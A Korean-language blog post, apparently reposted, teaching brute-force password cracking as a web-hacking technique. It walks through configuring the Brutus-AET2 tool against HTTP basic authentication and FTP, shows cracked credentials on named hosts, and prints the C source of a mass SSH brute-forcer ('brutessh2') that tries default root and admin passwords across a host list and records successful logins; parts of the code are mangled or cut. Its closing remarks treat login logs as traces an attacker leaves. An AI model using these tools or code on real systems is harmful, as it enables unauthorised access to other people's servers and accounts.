이번 Super 826y은 Web-Hacking기법에 대하여 다루어 봅니다.




Chapter1. - Brute Force


Web-Hacking에 대한 글은 처음 써보는 것이라,

순서를 어떻게 정해야 할지에 대해서 많은 고민을 했습니다.

결국 저의 선택은 Brute Force였죠! :p

Brute Force는 첫번째로 다뤄야 할만큼 쉬우면서도 강력한 기술입니다.

그런데, 대체 Brute Force Cracking이란 무엇일까요?

쉽게 말하면, ID 와 PASSWORD가 올바를 때 까지 반복적으로 무작위

대입하는 방법으로서 아직도 충분히 활용가치가 있는 기술입니다.


Brute Force를 하여 주는 도구의 목록은 다음과 같습니다.


1.Whisker

2.Web Cracker 4.0

3.Brutus-AET2

4.wwwhack


이번글에서는 3번쨰 도구인 Brutus-AET2를 중심으로 다루겠습니다.

Brtus-AET2는 기본적으로


1.HTTP기본 인증

2.FTP(File Transfer Protocol)

3.HTTP Form

4.POP3(Post Office Protocol v3)

5.SMB(Server Message Block) - NetBIOS

6.Telnet

7.Custom(Brutus에 무한한 유연성을 제공합니다.)


1 - HTTP 기본 인증의 돌파 방법

HTTP 기본 인증을 필요로 하는 페이지에서

브라우져가 HTTP 401 응답을 받게 되면,



위와 같은 창을 만나게 됩니다.

위의 창에 사용자 이름과 암호를 입력하면,

Base64로 사용자명과 암호를 인코드 한후,

HTTP요청과 함께 서버로 전송 됩니다.

서버는 Base64로 인코드된 문자들을 해석하여,

서버에 저장되어 있는 사용자 목록의 정보와

같은지 대조하여 본후, 만약 사용자명과

암호가 일치한다면, 서버는 HTTP 200 OK 응답과

요청받은 페이지를 보내 줍니다.

올바르지 않을 경우는 다시 HTTP 401 응답을 줍니다.

Brute의 작동원리는 HTTP 401을 요청 받았을때,

무작위로 생성된 아이디 와 암호를 입력하고 전송하여,

서버의 응답이 HTTP 200 OK일떄까지 반복하는 것입니다.

Brute의 HTTP기본 인증시 구조는 밑의 그림과 같습니다.



(1)에는 대상 Cracking할 페이지의 주소를 적습니다.

(2)에는 요청방식을 선택하는 것인데,


HEAD - HTTP/1.1서버가 응답에 메시지 몸체를 돌려 받지 않습니다.

GET - 지정된 요청 URL의 정보를 검색하기 위해 사용 됩니다.

PUT - HTTP서버로 전송하고,요청 URL에 저장되는 데이터를 위해 사용 됩니다.


(3)에는 인증에 사용할 사용자 이름을 지정하는 것 입니다.

TXT파일로 구성되어 있는 사전파일을 사용할수도 있고,

단일 유저에 체크했을 시에는, 한가지 아이디에 대하여 Brute Force도 가능합니다.

또한 이름 사용의 체크를 풀시에는, 이름을 대입하지 않게 됩니다.

(4)에는 인증에 사용할 암호를 지정하는 것 입니다.

방식에는 아래와 같은 방식들이 지원 됩니다.


단어 목록(사전이용)

콤보 목록(사전류)

무작위 생성


여기서 주목하여 볼 메뉴가 있는데, 바로 Brute Force(무작위 생성)메뉴 입니다.

이 메뉴를 선택하고 "범위" 버튼을 클릭하면 다음과 같은 범위 설정창을 볼수 있습니다.

오른쪽에 암호로 사용될 문자열의 최소 길이와 최대길이를 지정할수 있습니다.

보통 암호가 몇글자일지 모를 경우는 그대로 두고 사용 하면 됩니다.

지원되는 암호 문자열 생성 방법은 다음과 같습니다.


오직 숫자 - 숫자로 이루어진 암호 문자열을 만듭니다.

소문자 알파벳 - 소문자 알파벳만으로 이루어진 암호 문자열을 만듭니다.

대문자 알파바벳 - 대문자 알파벳만으로 이루어진 암호 문자열을 만듭니다.

섞인 알파벳 - 대소문자가 섞인 알파벳으로 이루어진 암호 문자열을 만듭니다.

영,숫자 - 영어와 숫자가 섞인 암호 문자열을 만듭니다.

Full Keyspace - 모든키가 섞인 암호 문자열을 만듭니다.

사용자 범위 - 우리가 원하는 글자를 가지고만 암호 문자열을 생성하게 할수 있습니다.


적절한 사전 파일이 없을때도 우리는 이 메뉴를 이용하여 대체 하여 줄수 있습니다.

이제 HTTP기본 인증에 대한 설정 설명은 끝났음으로 "Start"버튼을 누르면 시작 됩니다.

아래 그림은 대상 페이지로부터 "body"에 대한 암호로 "sexy"로 인증성공 했음을 보여줍니다.



별로 어렵지 않게 HTTP 기본 인증 Brute Force Cracking법에 대하여 알아 보았습니다.


2 - FTP 인증의 돌파 방법

FTP Brute Force Cracking시의 Brutus의 구조는 다음과 같습니다.



(1)에는 Cracking할 FTP의 주소를 씁니다.

(2)에는 연결할 포트를 지정합니다. (FTP의 기본 포트는 21번 입니다.)

(3)에는 FTP의 옵션을 편집할수 있습니다.(편집 하여 주지 않아도 왠만하면 잘 작동합니다.)


FTP에 접속하게 되면, ID를 입력하라는 220 Prompt가 주어 집니다.

이때 아이디를 입력하면, 330 Prompt가 암호를 요구 하고,

이 아이디와 암호가 올바를 경우 230 Prompt가 로그인 성공이라고 주어 집니다.

Brutus는 230 Prompt가 나올때까지 220 Prompt와 330 Prompt에 대하여

반복적으로 대입해 주는 방식으로 작동합니다.

다음 그림은 dual5651.xxxxxx.com이라는 FTP주소에 대하여 Brute Force하여,

dual5651이라는 아이디와 어떠한 패스워드를 찾아 냈음을 보여줍니다.



FTP Brute Force Cracking역시 별 어려움 없이 성공함을 볼수 있습니다.


다른 인증들도 비슷한 방법으로 됨으로 Brutus사용법에 대해선 이만 줄이 도록 하겠습니다.

Brutus의 지원목록에는 분명 SSH가 없습니다.

그럼 절떄 SSH를 Brute Force 할수 있는 방법은 없을 까요?

아래와 같은 SSH Brute Force의 Source가 공개 되어 있습니다.




This exploit is known to be circulating in the wild. Protect yourself and you passwords !

Read : "Choosing and Protecting your Passwords" -> http://www.us-cert.gov/cas/tips/ST04-002.html





/*

*the first brutessh was only for users guest & test

*brutessh2 is a brute for sshd port wich atempts to login as root trying more than 2000 passwords for it.

*users guest , test , nobody and admin with no passwords are included.

*feel free to add more passwords and more users:=)

*by Zorg of #texter

*www.wget.home.ro

*wget@home.ro

*For mass use a synscan :

*Eg: ./biggssh sship.txt

* Ok.Try This : Hostname root:12345

*/


#include (stdio.h)

#include (unistd.h)

#include stdlib.h

#include string.h

#include termios.h

#include sys/select.h

#include sys/time.h

#include signal.h

#include errno.h

#include libssh/libssh.h

#include libssh/sftp.h

#include arpa/inet.h

#include stdio.h

#include netdb.h

#include string.h

#include fcntl.h

#include unistd.h

#include time.h

#include stdlib.h

#include sys/types.h

#include sys/socket.h

#include sys/wait.h

#include netinet/in.h




int flag;

int where;

int shell(SSH_SESSION *session){

struct timeval tv;

int err;

char cmd[]="uname -r -s
";

char rd[2048];

BUFFER *readbuf=buffer_new();

time_t start,acum;







CHANNEL *channel;

channel = open_session_channel(session,1000,1000);

if(isatty(0))

err=channel_request_pty(channel);

// printf("channel request pty > %d
",err);

err= channel_request_shell(channel);

// printf("channel request shell > %d
",err);

start=time(0);

while (channel->open!=0)

{

usleep(500000);

err=channel_poll(channel,0);

if(err>0)

{

err=channel_read(channel,readbuf,0,0);

}

else

{

if(start+5
{

//printf("5 secs passed
");

return 1;

}

}

}

return 0;

}



void checkauth(char *user,char *password,char *host)

{

char warn[125]="";

SSH_SESSION *session;

SSH_OPTIONS *options;

int argc=1;

char *argv[]={"none"};

FILE *fp;



if(where%20==0)

{

fp=fopen("log.bigsshf","a");

fprintf(fp,"tring ssh %s@%s %s
",user,host,password);

fclose(fp);

}

where++;

alarm(10);

options=ssh_getopt(&argc,argv);

options_set_username(options,user);

options_set_host(options,host);

session=ssh_connect(options);

if(!session) return;




if(ssh_userauth_password(session,NULL,password) != AUTH_SUCCESS)

{

ssh_disconnect(session);

return;

}




if(shell(session))

{

if(flag) strcpy(warn,"DUP ");

fp=fopen("vuln.txt","a+");

fprintf(fp,"%s%s:%s:%s
",warn,user,password,host);

printf("%sOk.TRY This : %s:%s:%s
",warn,user,password,host);

flag=1;

}

else

printf("nologin -> %s:%s:%s
",user,password,host);

}

int main(int argc, char **argv)

{

FILE *fp;

char *c;

char buff[1024];

int numforks;

int maxf;







if(argc!=2)

{

printf("./bigssh
");

printf("by Zorg
");

exit(0);

}

unlink("log.bigsshf");

fp=fopen("sship.log","r");

if(fp==NULL) exit(printf("nu pot deschide sship.txt
"));




maxf=atoi(argv[1]);

while(fgets(buff,sizeof(buff),fp))

{

c=strchr(buff,'
');

if(c!=NULL) *c='';

if (!(fork()))

{

//child

where=0;

checkauth("test","test",buff);

checkauth("guest","guest",buff);

checkauth("admin","admins",buff);

checkauth("admin","admin",buff);

checkauth("user","user",buff);

checkauth("root","password",buff);

....

....

exit(0);

}

else

{

//parent

numforks++;

if (numforks > maxf)

for (numforks; numforks > maxf; numforks--)

wait(NULL);

}




}




}


위의 Source를 이용하면, SSH역시 Brute Force Cracking이 가능합니다.

이로써, Brute Force에 대하여 알아 보았습니다.

분명 강력한 공격 기법임에도 주의 해야할점이 있습니다.

반복적으로 계속 인증을 시도함으로,

아래와 같은 식으로 많은 로그가 남는것을 알수 있습니다.


# more /var/adm/loginlog

body:/dev/pts/7:Thu Sep 27 14:09:48 2001

body:/dev/pts/7:Thu Sep 27 14:09:56 2001

body:/dev/pts/7:Thu Sep 27 14:10:03 2001

body:/dev/pts/7:Thu Sep 27 14:10:10 2001

body:/dev/pts/7:Thu Sep 27 14:10:17 2001

body:/dev/pts/1:Sat Dec 22 07:34:42 2001

body:/dev/pts/1:Sat Dec 22 07:34:58 2001

body:/dev/pts/1:Sat Dec 22 07:35:10 2001

body:/dev/pts/3:Sat Mar 16 01:37:23 2002

body:/dev/pts/3:Sat Mar 16 01:37:36 2002

body:/dev/pts/3:Sat Mar 16 01:37:43 2002

body:/dev/pts/3:Sat Mar 16 01:38:00 2002

.....


충분한 주의가 필요하다는 말을 마지막으로 남기며,

이만 여기서 글을 줄이도록 하겠습니다.



잘못된 점이 있으면 메일로 알려 주세요.



자료 출처 : http://dual5651.hacktizen.com/tc/entry/Super-826y-Chapter1Brute-Force-Cracking

Posted by 시티락